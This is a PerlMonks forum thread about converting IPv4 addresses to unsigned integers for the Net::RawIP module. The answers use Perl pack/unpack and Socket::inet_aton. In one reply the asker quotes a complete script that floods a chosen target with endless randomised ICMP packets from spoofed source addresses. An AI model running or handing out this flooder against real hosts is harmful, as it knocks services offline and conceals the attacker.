doctor_moron has asked for the wisdom of the Perl Monks concerning the following question:

hello,

I cut this statement from Net::RawIP documentation and The Author said :

"The IPKEY is one of they (version ihl tos tot_len id frag_off ttl protocol check saddr daddr). You can to specify all parameters,even check.If you do not specify parameter, then value by default will be used. Of course the checksum will be calculated if you do not specify non-zero value for it. The values of the saddr and the daddr can be like www.oracle.com or 205.227.44.16, even they can be an integer if you know what is 205.227.44.16 as an unsigned int in the host format"

And my question is like "how to convert 202.227.44.16 (just example) to unsigned int format ?"

sorry for my english, thanks

zak

  • Comment on unsigned int in the host format and raw socket

Replies are listed 'Best First'.
Re: unsigned int in the host format and raw socket
by ikegami (Patriarch) on Jun 30, 2005 at 17:26 UTC
    In Enumerating IP Addresses in a Subnet, I used:
    sub parse_ipv4 { local *_ = \(@_ ? $_[0] : $_); return unpack('N', pack('C4', split(/\./))); }

    Update: What follows is an alternative implementation that accepts domain names ("www.perlmonks.org") as well as IP addresses:

    use Socket (); sub parse_ipv4 { local *_ = \(@_ ? $_[0] : $_); my $packed = Socket::inet_aton($_); return unless defined $packed; return unpack('N', $packed); }
    print(parse_ipv4('202.227.44.16'), "\n"); # 3403885584
      Thanks for the quickest reply

      Yes it's work, but please look at this code (i got this code from Net::Raw Example)

      $| = 1; require 'getopts.pl'; use Net::RawIP; Getopts('t:'); die "Usage $0 -t <target>" unless $opt_t; srand(time); $i = 996; $data .= chr(int rand(255)),$i-- while($i); $icmp = new Net::RawIP({ ip => { ihl => 6, tot_len => 1024, id => 1, ttl => 255, frag_off => 0, daddr => $opt_t }, icmp => { id => 2650, data => $data } }); for(;;){ $j++; $icmp->set({ ip => { saddr => 17000000 + int rand 4261000000 }, icmp => { type => int rand(14), code => int rand(10), sequence => int rand(255) } }); $icmp->send; print "b00m " unless $j%1000; }
      Have a look in looping area, we got :
      ip => { saddr => 17000000 + int rand 4261000000 }

      The author give $addr with random int number without doing packing or unpack, so i make my own conclusion that we can give $addr with int number (like code above) as long as it's valid ip addy, is it true?

      i m trying hard to explain my problem in proper english i hope you can understand

      thanks, zak

        An IP (v4) address is any number between 0 and 4294967295 inclusively. Different interfaces expect the address to be in different formats (reprentations). "aaa.bbb.ccc.ddd" is just one format. Net::RawIP works with a number of formats, including numerical (0 to 4294967295) and dotted ('aaa.bbb.ccc.ddd').

        For example, two following two lines are identical:

        ip => { saddr => '202.227.44.16' } ip => { saddr => 3403885584 }

        I hope that answers your question; I don't quite understand it.

Re: unsigned int in the host format and raw socket
by polettix (Vicar) on Jul 01, 2005 at 02:06 UTC
    Probably this comment is completely missing the point, but the documentation you cite says that you can happily use the dotted stringified notation for saddr and daddr. Do you really need to bother with this conversion?

    Flavio
    perl -ple'$_=reverse' <<<ti.xittelop@oivalf

    Don't fool yourself.